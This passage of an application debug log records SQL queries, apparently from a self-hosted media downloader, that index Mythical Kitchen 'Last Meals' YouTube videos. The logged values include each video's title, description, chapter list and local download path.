by Rev", "Kevin Bacon Eats His Last Meal", "6b3ab130-38b4-4404-99d5-23746b714c6a", "https://www.youtube.com/watch?v=JR1M5ArILl8", false, "JR1M5ArILl8", 2160, false, 46, "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", false, false, 1, [], 1, ~U[2025-04-03 10:00:32Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Kevin Bacon eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kevin's Last Meal\n1:24 Have You Thought About Your Last Meal Before?\n2:38 1st Course\n5:23 The Music Of Cooking\n6:50 Hunting Demons\n8:28 Writing Music For The Bondsman\n11:07 2nd Course\n13:22 The Father Of Modern Philadelphia\n15:18 Kevin's Intentional Parenting Style\n19:19 3rd Course\n21:30 A Lonely Farmer With A Dog\n23:06 Kyra Was Right\n24:23 Black Cat & Golden Retriever Relationships\n25:30 Leave The World Better Than You Found It\n27:35 4th Course\n28:31 Six Degress Of Kevin Bacon\n31:52 Losing Parents\n34:04 What Do You Think Happens When You Die?\n34:18 Lightning Round\n35:22 Kevin's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kevin Bacon Eats His Last Meal", "https://www.youtube.com/watch?v=JR1M5ArILl8", "JR1M5ArILl8", 2160, false, "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", false, 1, ~U[2025-04-03 10:00:32Z]] 20:49:32.312 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.312 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-04 10:00:45Z], 1] 20:49:32.313 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jacksepticeye eats his meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacksepticeye's Last Meal\n0:43 GMM Throwback\n1:34 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n2:44 1st Course\n3:47 Back In Rural Ireland\n6:20 Stoicism & Buddhism\n7:45 Deepcuts From Sean's Old Band\n9:48 Mental Health Attached To Numbers\n11:28 2nd Course\n15:13 Dad's Fish Fingers & Waffles\n16:14 Dad Was A Really Good Man\n21:07 3rd Course\n24:09 YouTube Beginnings\n27:05 Difficulty Celebrating Accomplishments\n33:01 4th Course\n34:59 Let The Boy Out To Play\n36:40 Why Is Depression Skyrocketing?\n39:38 A Lonely Christmas\n40:32 To Love Completely\n42:14 What Do You Think Happens When You Die?\n42:53 Lightning Round\n44:50 Jacksepticeye's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacksepticeye Eats His Last Meal", "8ee3e4a7-67b7-4fd4-aa17-747445988b94", "https://www.youtube.com/watch?v=OKbJG8E64xc", false, "OKbJG8E64xc", 2733, false, 47, "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", false, false, 1, [], 1, ~U[2025-09-04 10:00:45Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Jacksepticeye eats his meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacksepticeye's Last Meal\n0:43 GMM Throwback\n1:34 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n2:44 1st Course\n3:47 Back In Rural Ireland\n6:20 Stoicism & Buddhism\n7:45 Deepcuts From Sean's Old Band\n9:48 Mental Health Attached To Numbers\n11:28 2nd Course\n15:13 Dad's Fish Fingers & Waffles\n16:14 Dad Was A Really Good Man\n21:07 3rd Course\n24:09 YouTube Beginnings\n27:05 Difficulty Celebrating Accomplishments\n33:01 4th Course\n34:59 Let The Boy Out To Play\n36:40 Why Is Depression Skyrocketing?\n39:38 A Lonely Christmas\n40:32 To Love Completely\n42:14 What Do You Think Happens When You Die?\n42:53 Lightning Round\n44:50 Jacksepticeye's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacksepticeye Eats His Last Meal", "https://www.youtube.com/watch?v=OKbJG8E64xc", "OKbJG8E64xc", 2733, false, "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", false, 1, ~U[2025-09-04 10:00:45Z]] 20:49:32.313 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.313 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-03 10:01:15Z], 1] 20:49:32.314 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Joe Jonas eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Joe's Last Meal\n0:20 Bring Back The Joe Show\n1:00 Have You Thought About Your Last Meal Before?\n2:00 How Often Do You Think About Death?\n3:24 1st Course\n6:12 Taylor Ham Vs. Pork Roll\n7:38 Motivation For The New Album\n9:49 Self-Talk & Therapy\n10:45 You Can't Out-Bicycle Your Problems\n12:58 Writing A Letter To Your 8-Year-Old Self\n14:55 Check In On Your Friends\n16:35 2nd Course\n17:43 Jonas Pizza\n21:39 Chased By 100,000 Fans In A Mall In Spain\n24:22 Beaten Up By An Animated Mickey Mouse\n25:31 The Pressures Of Being A Pastor's Kid\n25:31 Identity & Purity Rings\n30:20 3rd Course\n32:31 Love Is Never Lost; It Takes New Shapes\n34:55 We're Lucky If We Have 80 Summers\n36:30 Faith\n38:57 What Do You Think Happens When You Die?\n39:50 Lightning Round\n41:30 Joe's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Joe Jonas Eats His Last Meal", "3a06edd7-8914-4c62-a372-d6aac746ef58", "https://www.youtube.com/watch?v=lRevGBgdL0M", false, "lRevGBgdL0M", 2511, false, 48, "/downloads/Last Meals/2025-06-03 Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", false, false, 1, [], 1, ~U[2025-06-03 10:01:15Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Joe Jonas eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Joe's Last Meal\n0:20 Bring Back The Joe Show\n1:00 Have You Thought About Your Last Meal Before?\n2:00 How Often Do You Think About Death?\n3:24 1st Course\n6:12 Taylor Ham Vs. Pork Roll\n7:38 Motivation For The New Album\n9:49 Self-Talk & Therapy\n10:45 You Can't Out-Bicycle Your Problems\n12:58 Writing A Letter To Your 8-Year-Old Self\n14:55 Check In On Your Friends\n16:35 2nd Course\n17:43 Jonas Pizza\n21:39 Chased By 100,000 Fans In A Mall In Spain\n24:22 Beaten Up By An Animated Mickey Mouse\n25:31 The Pressures Of Being A Pastor's Kid\n25:31 Identity & Purity Rings\n30:20 3rd Course\n32:31 Love Is Never Lost; It Takes New Shapes\n34:55 We're Lucky If We Have 80 Summers\n36:30 Faith\n38:57 What Do You Think Happens When You Die?\n39:50 Lightning Round\n41:30 Joe's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Joe Jonas Eats His Last Meal", "https://www.youtube.com/watch?v=lRevGBgdL0M", "lRevGBgdL0M", 2511, false, "/downloads/Last Meals/2025-06-03 Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", false, 1, ~U[2025-06-03 10:01:15Z]] 20:49:32.314 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.314 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 10:00:16Z], 1] 20:49:32.315 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Shay Mitchell eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Shay's Last Meal\n1:10 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:47 Traveling & Drinking Around The World\n6:18 Surrounded By Guinea Pigs\n8:21 How To Manifest Your Dream Kitchen\n10:35 2nd Course\n12:26 We Have One Life\n14:59 Empowering Independent Daughters\n17:19 Choosing Your Partner\n19:30 Embracing The Unknown\n20:21 Marine Biology\n21:00 3rd Course\n22:43 Growing Up Filipina\n24:50 Riding The Highs & Lows Of Life\n25:35 Grief & Learning From Hindu Culture\n28:06 4th Course\n29:34 Beauty & Aging\n30:44 What Do You Think Happens When You Die?\n31:32 Lightning Round\n35:14 Shay's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Shay Mitchell Eats Her Last Meal", "95746f58-0c0a-4ff8-b9d0-3662d4753304", "https://www.youtube.com/watch?v=MZRf9gGXJ2s", false, "MZRf9gGXJ2s", 2167, false, 49, "/downloads/Last Meals/2024-05-23 Shay Mitchell Eats Her Last Meal/Shay Mitchell Eats Her Last Meal [MZRf9gGXJ2s].mp4", false, false, 1, [], 1, ~U[2024-05-23 10:00:16Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Shay Mitchell eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Shay's Last Meal\n1:10 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:47 Traveling & Drinking Around The World\n6:18 Surrounded By Guinea Pigs\n8:21 How To Manifest Your Dream Kitchen\n10:35 2nd Course\n12:26 We Have One Life\n14:59 Empowering Independent Daughters\n17:19 Choosing Your Partner\n19:30 Embracing The Unknown\n20:21 Marine Biology\n21:00 3rd Course\n22:43 Growing Up Filipina\n24:50 Riding The Highs & Lows Of Life\n25:35 Grief & Learning From Hindu Culture\n28:06 4th Course\n29:34 Beauty & Aging\n30:44 What Do You Think Happens When You Die?\n31:32 Lightning Round\n35:14 Shay's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8 (truncated) 20:49:32.315 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.315 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-14 11:00:34Z], 1] 20:49:32.317 [debug] QUERY OK source="media_items" db=0.7ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Rebecca Black eats her last meal.\n\n(This interview was recorded before the LA fires took place)\nDue to the circumstances, Rebecca’s project, SALVATION will be delayed. The new release date is February 27, 2025. But in the meantime you can still enjoy some SUGAR WATER CYANIDE— out now wherever you listen to music!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Rebecca Black's Last Meal\n1:12 Have You Thought About Your Last Meal Before?\n1:34 How Often Do You Think About Death?\n2:09 1st Course\n3:37 A Modern Day Forrest Gump\n5:36 TRUST!\n7:18 Support From The Queer Community\n9:38 Lady Gaga Gets It\n12:42 2nd Course\n15:53 13-Year Old's Fears\n16:51 Looking Back On Friday\n20:36 Embracing Friday\n23:16 Skrillex, Don't Be Justin Bieber\n23:51 3rd Course\n25:18 An Alternate Universe Where Friday Didn't Exist\n28:00 Disassociation\n32:17 The Spirituality of Hyperpop\n33:57 4th Course\n35:39 Finding Joy & Flow State\n39:32 What Do You Think Happens When You Die?\n40:51 Lightning Round\n43:22 Rebecca's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - 